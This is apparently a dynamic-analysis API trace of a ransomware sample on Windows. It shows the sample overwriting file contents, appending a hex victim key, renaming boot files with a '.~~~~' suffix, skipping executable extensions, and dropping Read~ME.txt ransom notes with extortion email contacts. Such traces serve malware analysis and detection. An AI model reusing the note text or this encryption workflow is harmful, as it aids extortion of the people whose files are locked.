	[0062.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0062.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0062.191] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=18218090987) returned 1
	[0062.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9247f770, dwHighDateTime=0x1d60e1e)) 
	[0062.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0062.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0062.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0062.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0062.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0062.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39c958
	[0062.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ca00
	[0062.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c958 | out: hHeap=0x300000) returned 1
	[0062.191] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0062.192] GetLastError () returned 0x0
	[0062.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x28) returned 0x35c1b0
	[0062.192] SetLastError (dwErrCode=0x0) 
	[0062.192] GetLastError () returned 0x0
	[0062.192] SetLastError (dwErrCode=0x0) 
	[0062.192] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0062.192] GetLastError () returned 0x0
	[0062.192] SetLastError (dwErrCode=0x0) 
	[0062.193] GetLastError () returned 0x0
	[0062.193] SetLastError (dwErrCode=0x0) 
	[0062.193] GetLastError () returned 0x0
	[0062.193] SetLastError (dwErrCode=0x0) 
	[0062.193] GetLastError () returned 0x0
	[0062.193] SetLastError (dwErrCode=0x0) 
	[0062.193] GetLastError () returned 0x0
	[0062.193] SetLastError (dwErrCode=0x0) 
	[0062.193] GetLastError () returned 0x0
	[0062.193] SetLastError (dwErrCode=0x0) 
	[0062.193] GetLastError () returned 0x0
	[0062.193] SetLastError (dwErrCode=0x0) 
	[0062.193] GetLastError () returned 0x0
	[0062.193] SetLastError (dwErrCode=0x0) 
	[0062.193] GetLastError () returned 0x0
	[0062.193] SetLastError (dwErrCode=0x0) 
	[0062.193] GetLastError () returned 0x0
	[0062.193] SetLastError (dwErrCode=0x0) 
	[0062.193] GetLastError () returned 0x0
	[0062.193] SetLastError (dwErrCode=0x0) 
	[0062.194] GetLastError () returned 0x0
	[0062.194] SetLastError (dwErrCode=0x0) 
	[0062.194] GetLastError () returned 0x0
	[0062.194] SetLastError (dwErrCode=0x0) 
	[0062.194] GetLastError () returned 0x0
	[0062.194] SetLastError (dwErrCode=0x0) 
	[0062.194] GetLastError () returned 0x0
	[0062.194] SetLastError (dwErrCode=0x0) 
	[0062.194] GetLastError () returned 0x0
	[0062.194] SetLastError (dwErrCode=0x0) 
	[0062.194] GetLastError () returned 0x0
	[0062.194] SetLastError (dwErrCode=0x0) 
	[0062.194] GetLastError () returned 0x0
	[0062.194] SetLastError (dwErrCode=0x0) 
	[0062.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ca00 | out: hHeap=0x300000) returned 1
	[0062.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3a0e18
	[0062.195] ReadFile (in: hFile=0x110, lpBuffer=0x3a0e18, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3a0e18*, lpNumberOfBytesRead=0x26dfec0*=0x10000, lpOverlapped=0x0) returned 1
	[0062.200] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffff0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0062.200] WriteFile (in: hFile=0x110, lpBuffer=0x3a0e18*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3a0e18*, lpNumberOfBytesWritten=0x26dfec0*=0x10000, lpOverlapped=0x0) returned 1
	[0062.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a0e18 | out: hHeap=0x300000) returned 1
	[0062.201] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0062.201] WriteFile (in: hFile=0x110, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0062.201] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0062.201] WriteFile (in: hFile=0x110, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0062.201] CloseHandle (hObject=0x110) returned 1
	[0062.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.207] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.~~~~" (normalized: "c:\\boot\\bootstat.dat.~~~~")) returned 1
	[0062.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.208] GetLastError () returned 0x0
	[0062.208] SetLastError (dwErrCode=0x0) 
	[0062.208] GetLastError () returned 0x0
	[0062.208] SetLastError (dwErrCode=0x0) 
	[0062.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0062.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0062.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0062.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b740 | out: hHeap=0x300000) returned 1
	[0062.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dbf0 | out: hHeap=0x300000) returned 1
	[0062.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357008 | out: hHeap=0x300000) returned 1
	[0062.208] RtlWakeConditionVariable () returned 0x365f70
	[0062.208] GetCurrentThreadId () returned 0x9cc
	[0062.208] GetCurrentThreadId () returned 0x9cc
	[0062.209] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.240] GetCurrentThreadId () returned 0x9cc
	[0062.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.240] lstrlenW (lpString=".scr") returned 4
	[0062.240] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch=".scr") returned 0x0
	[0062.240] lstrlenW (lpString=".cmd") returned 4
	[0062.240] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch=".cmd") returned 0x0
	[0062.240] lstrlenW (lpString=".dll") returned 4
	[0062.240] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch=".dll") returned 0x0
	[0062.240] lstrlenW (lpString=".bat") returned 4
	[0062.240] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch=".bat") returned 0x0
	[0062.240] lstrlenW (lpString=".cpl") returned 4
	[0062.240] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch=".cpl") returned 0x0
	[0062.240] lstrlenW (lpString=".sys") returned 4
	[0062.240] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch=".sys") returned 0x0
	[0062.240] lstrlenW (lpString=".msc") returned 4
	[0062.240] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch=".msc") returned 0x0
	[0062.240] lstrlenW (lpString=".com") returned 4
	[0062.240] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch=".com") returned 0x0
	[0062.240] lstrlenW (lpString=".lnk") returned 4
	[0062.241] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch=".lnk") returned 0x0
	[0062.241] lstrlenW (lpString=".msp") returned 4
	[0062.241] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch=".msp") returned 0x0
	[0062.241] lstrlenW (lpString=".pif") returned 4
	[0062.241] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch=".pif") returned 0x0
	[0062.241] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.241] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf", lpSrch="msp\r\n.pif") returned 0x0
	[0062.241] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.241] RtlWakeConditionVariable () returned 0x365f70
	[0062.241] GetCurrentThreadId () returned 0x9cc
	[0062.241] GetCurrentThreadId () returned 0x9cc
	[0062.241] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.261] GetCurrentThreadId () returned 0x9cc
	[0062.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.261] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\Read~ME.txt" (normalized: "c:\\boot\\fr-fr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.262] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.262] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.263] CloseHandle (hObject=0x110) returned 1
	[0062.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.263] RtlWakeConditionVariable () returned 0x365f70
	[0062.263] GetCurrentThreadId () returned 0x9cc
	[0062.263] GetCurrentThreadId () returned 0x9cc
	[0062.263] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.283] GetCurrentThreadId () returned 0x9cc
	[0062.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.283] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\Read~ME.txt" (normalized: "c:\\boot\\it-it\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.284] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.284] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.285] CloseHandle (hObject=0x110) returned 1
	[0062.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.285] RtlWakeConditionVariable () returned 0x365f70
	[0062.285] GetCurrentThreadId () returned 0x9cc
	[0062.285] GetCurrentThreadId () returned 0x9cc
	[0062.286] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.298] GetCurrentThreadId () returned 0x9cc
	[0062.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.299] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\Read~ME.txt" (normalized: "c:\\boot\\ko-kr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.299] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.299] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.301] CloseHandle (hObject=0x110) returned 1
	[0062.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.301] RtlWakeConditionVariable () returned 0x365f70
	[0062.301] GetCurrentThreadId () returned 0x9cc
	[0062.301] GetCurrentThreadId () returned 0x9cc
	[0062.301] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.314] GetCurrentThreadId () returned 0x9cc
	[0062.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.314] lstrlenW (lpString=".scr") returned 4
	[0062.314] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.314] lstrlenW (lpString=".cmd") returned 4
	[0062.314] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.314] lstrlenW (lpString=".dll") returned 4
	[0062.314] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.314] lstrlenW (lpString=".bat") returned 4
	[0062.314] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.314] lstrlenW (lpString=".cpl") returned 4
	[0062.314] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.314] lstrlenW (lpString=".sys") returned 4
	[0062.315] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.315] lstrlenW (lpString=".msc") returned 4
	[0062.315] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.315] lstrlenW (lpString=".com") returned 4
	[0062.315] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.315] lstrlenW (lpString=".lnk") returned 4
	[0062.315] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.315] lstrlenW (lpString=".msp") returned 4
	[0062.315] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.315] lstrlenW (lpString=".pif") returned 4
	[0062.315] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.315] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.315] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.315] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.315] RtlWakeConditionVariable () returned 0x365f70
	[0062.315] GetCurrentThreadId () returned 0x9cc
	[0062.316] GetCurrentThreadId () returned 0x9cc
	[0062.316] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.355] GetCurrentThreadId () returned 0x9cc
	[0062.355] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.423] GetCurrentThreadId () returned 0x9cc
	[0062.423] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.448] GetCurrentThreadId () returned 0x9cc
	[0062.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d880
	[0062.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0062.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d7e8
	[0062.448] lstrlenW (lpString=".scr") returned 4
	[0062.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0062.448] lstrlenW (lpString=".cmd") returned 4
	[0062.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0062.448] lstrlenW (lpString=".dll") returned 4
	[0062.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0062.448] lstrlenW (lpString=".bat") returned 4
	[0062.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0062.448] lstrlenW (lpString=".cpl") returned 4
	[0062.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0062.448] lstrlenW (lpString=".sys") returned 4
	[0062.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0062.448] lstrlenW (lpString=".msc") returned 4
	[0062.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0062.448] lstrlenW (lpString=".com") returned 4
	[0062.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0062.448] lstrlenW (lpString=".lnk") returned 4
	[0062.449] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0062.449] lstrlenW (lpString=".msp") returned 4
	[0062.449] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0062.449] lstrlenW (lpString=".pif") returned 4
	[0062.449] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0062.449] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.449] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0062.449] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0062.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d880 | out: hHeap=0x300000) returned 1
	[0062.449] RtlWakeConditionVariable () returned 0x365f70
	[0062.449] GetCurrentThreadId () returned 0x9cc
	[0062.449] GetCurrentThreadId () returned 0x9cc
	[0062.449] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.483] GetCurrentThreadId () returned 0x9cc
	[0062.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39e858
	[0062.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e7b0 | out: hHeap=0x300000) returned 1
	[0062.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39e7b0
	[0062.484] lstrlenW (lpString=".scr") returned 4
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".scr") returned 0x0
	[0062.484] lstrlenW (lpString=".cmd") returned 4
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".cmd") returned 0x0
	[0062.484] lstrlenW (lpString=".dll") returned 4
	[0062.484] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpSrch=".dll") returned 0x0
